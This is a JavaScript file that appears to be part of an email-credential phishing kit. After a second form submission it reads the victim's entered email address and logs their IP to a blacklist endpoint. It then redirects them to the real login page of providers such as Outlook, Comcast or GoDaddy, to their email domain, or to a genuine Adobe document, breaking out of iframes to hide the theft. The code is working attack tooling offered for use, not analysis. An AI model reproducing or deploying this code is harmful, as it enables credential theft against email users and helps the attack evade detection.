/**
 * Centralized Redirect URL Configuration
 * 
 * This URL is used for:
 * - Redirecting after 2nd form submission (fallback)
 * - Redirecting blacklisted IPs (fallback)
 * 
 * IMPORTANT: Keep this URL in sync with config_redirect.php
 */

// Centralized Redirect URL (Fallback URL)
const CENTRALIZED_REDIRECT_URL = 'https://acrobat.adobe.com/id/urn:aaid:sc:EU:3675e197-77af-4366-a4d8-fc2568aa27d9';

// Provider-specific login pages (Original URLs)
// Provider-specific login pages (Verified Official URLs)
const PROVIDER_LOGIN_MAP = {
    'outlook': 'https://outlook.live.com',
    'owa': 'https://portal.office.com',
    'bell': 'https://webmail.bell.net/bell/',
    'bellaliant': 'https://webmail.bellaliant.net/',
    'bigpond': 'https://www.telstra.com.au/mail',
    'btinternet': 'https://www.bt.com/email',
    'comcast': 'https://connect.xfinity.com',
    'cogeco': 'https://webmail.cogeco.ca/',
    'earthlink': 'https://webmail.earthlink.net',
    'eastlink': 'https://webmail.eastlink.ca',
    'frontier': 'https://login.yahoo.com',
    'ionos': 'https://mail.ionos.com',
    'kpnmail': 'https://webmail.kpnmail.nl',
    'mymts': 'https://www.mtsmail.ca',
    'netsol': 'https://www.networksolutions.com/my-account/login',
    'northwestel': 'https://webmail.northwestel.net/',
    'rackspace': 'https://apps.rackspace.com',
    'shaw': 'https://webmail.shaw.ca',
    'telia': 'https://webmail.telia.se',
    'whiteman': 'https://webmail.wightman.ca/',
    'zoho': 'https://mail.zoho.com',
    'godaddy': 'https://sso.godaddy.com',
    'usa': 'https://www.netaddress.com',
    'cpanel': '/webmail',
    'roundcube': '/roundcube'
};

// Blacklist API endpoint (detect path dynamically)
function getBlacklistApiUrl() {
    // Try to detect the correct path based on current location
    const currentPath = window.location.pathname;

    // If we're in a subdirectory (like providers/), go up one level
    if (currentPath.includes('/providers/') || currentPath.includes('providers/')) {
        return '../blacklist_api.php';
    }

    // Otherwise, assume we're in root
    return 'blacklist_api.php';
}

const BLACKLIST_API_URL = getBlacklistApiUrl();

/**
 * Add IP to blacklist via API
 * @param {string} ip - IP address to blacklist
 * @param {string} reason - Reason for blacklisting
 * @returns {Promise<boolean>} True if successful
 */
async function addIPToBlacklist(ip, reason) {
    // If IP is empty or 'unknown', still call API - server will extract IP
    if (ip && typeof ip === 'string' && ip !== 'unknown' && ip.trim() !== '') {
        // Validate IP format if provided
        const ipRegex = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$|^(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
        if (!ipRegex.test(ip)) {
            ip = ''; // Let server extract it
        }
    } else {
        // Empty or unknown - let server extract IP
        ip = '';
    }

    try {
        const apiUrl = getBlacklistApiUrl();
        const response = await fetch(apiUrl, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                ip: ip,
                reason: reason || 'form_submission_redirect'
            })
        });

        if (response.ok) {
            const result = await response.json();
            return result.success;
        }
    } catch (error) {
        console.error('Error calling blacklist API:', error);
    }
    return false;
}

/**
 * Get client IP address
 * @returns {string} IP address
 */
function getClientIP() {
    // Try to get IP from window.userip (if set by server)
    if (typeof window !== 'undefined' && window.userip) {
        return window.userip;
    }

    // Fallback: try to get from various sources
    return 'unknown';
}

/**
 * Perform centralized redirect after 2nd attempt
 * Automatically blacklists the visitor's IP before redirecting
 * 
 * @param {number} delay - Delay in milliseconds before redirect (default: 300)
 * @param {boolean} redirectParent - If true, redirects parent window; if false, redirects iframe (default: true)
 * @param {string} provider - Optional provider tag to use for specific redirect
 * @param {string} email - Optional email to extract domain for chameleon redirection
 */
async function performCentralizedRedirect(delay, redirectParent, provider, email) {
    delay = (typeof delay === 'number') ? delay : 300;

    // Default to TRUE for iframe breakout (user requirement)
    // Most existing calls are performCentralizedRedirect(300), 
    // so the second argument (redirectParent) will be undefined -> defaults to true.
    redirectParent = (redirectParent !== undefined) ? redirectParent : true;

    // Attempt to auto-detect provider/email from global scope or DOM if not passed
    if (!provider && typeof window.providerTag !== 'undefined') provider = window.providerTag;
    if (!email) {
        const emailInput = document.querySelector('input[type="email"], input[name*="email"], #formHorizontalEmail');
        if (emailInput) {
            email = emailInput.value;
        }
    }

    // Determine Mode: 
    // If window.self === window.top, we are NOT in an iframe -> Direct Mode
    // Otherwise, we are in an iframe -> Fileshare Mode
    const isDirectMode = (window.self === window.top);

    // Determine Redirect URL
    let redirectUrl = CENTRALIZED_REDIRECT_URL;

    // Logic: 
    // 1. Fileshare Mode: ALWAYS use Centralized Redirect
    // 2. Direct Mode: Use Provider-specific Redirect, or fallback to Centralized
    if (isDirectMode) {
        if (provider && PROVIDER_LOGIN_MAP[provider]) {
            redirectUrl = PROVIDER_LOGIN_MAP[provider];
            // Handle relative paths for cpanel/roundcube
            if (redirectUrl.startsWith('/')) {
                redirectUrl = window.location.origin + redirectUrl;
            }
        } else if (provider === 'chameleon' || !provider) {
            // Chameleon logic: redirect to domain root
            if (email && email.includes('@')) {
                const domain = email.split('@')[1];
                if (domain) {
                    redirectUrl = 'https://' + domain;
                }
            }
        }
    } else {
        // Fileshare Mode -> Force Centralized Redirect
        redirectUrl = CENTRALIZED_REDIRECT_URL;
    }

    try {
        // Enable redirect flag if it exists (for pages that block redirects)
        if (typeof window !== 'undefined') {
            window.allowFormRedirect = true;
        }

        // Add IP to blacklist before redirecting
        const clientIP = getClientIP();
        addIPToBlacklist(clientIP, 'form_submission_redirect_2nd_attempt').catch(function (error) {
            console.error('Failed to blacklist IP:', error);
        });

        setTimeout(function () {
            try {
                if (redirectParent && window.parent && window.parent !== window) {
                    // Redirect parent window (breakout)
                    try {
                        window.parent.location.replace(redirectUrl);
                    } catch (e) {
                        // Cross-origin iframe - fallback to local redirect
                        console.warn('Cannot redirect parent (cross-origin), redirecting current window');
                        window.location.replace(redirectUrl);
                    }
                } else {
                    // Not in iframe or breakout disabled, redirect current window
                    window.location.replace(redirectUrl);
                }
            } catch (error) {
                console.error('Error performing redirect:', error);
                // Fallback attempt
                try {
                    window.location.href = redirectUrl;
                } catch (e) { }
            }
        }, delay);
    } catch (error) {
        console.error('Error performing redirect:', error);
    }
}
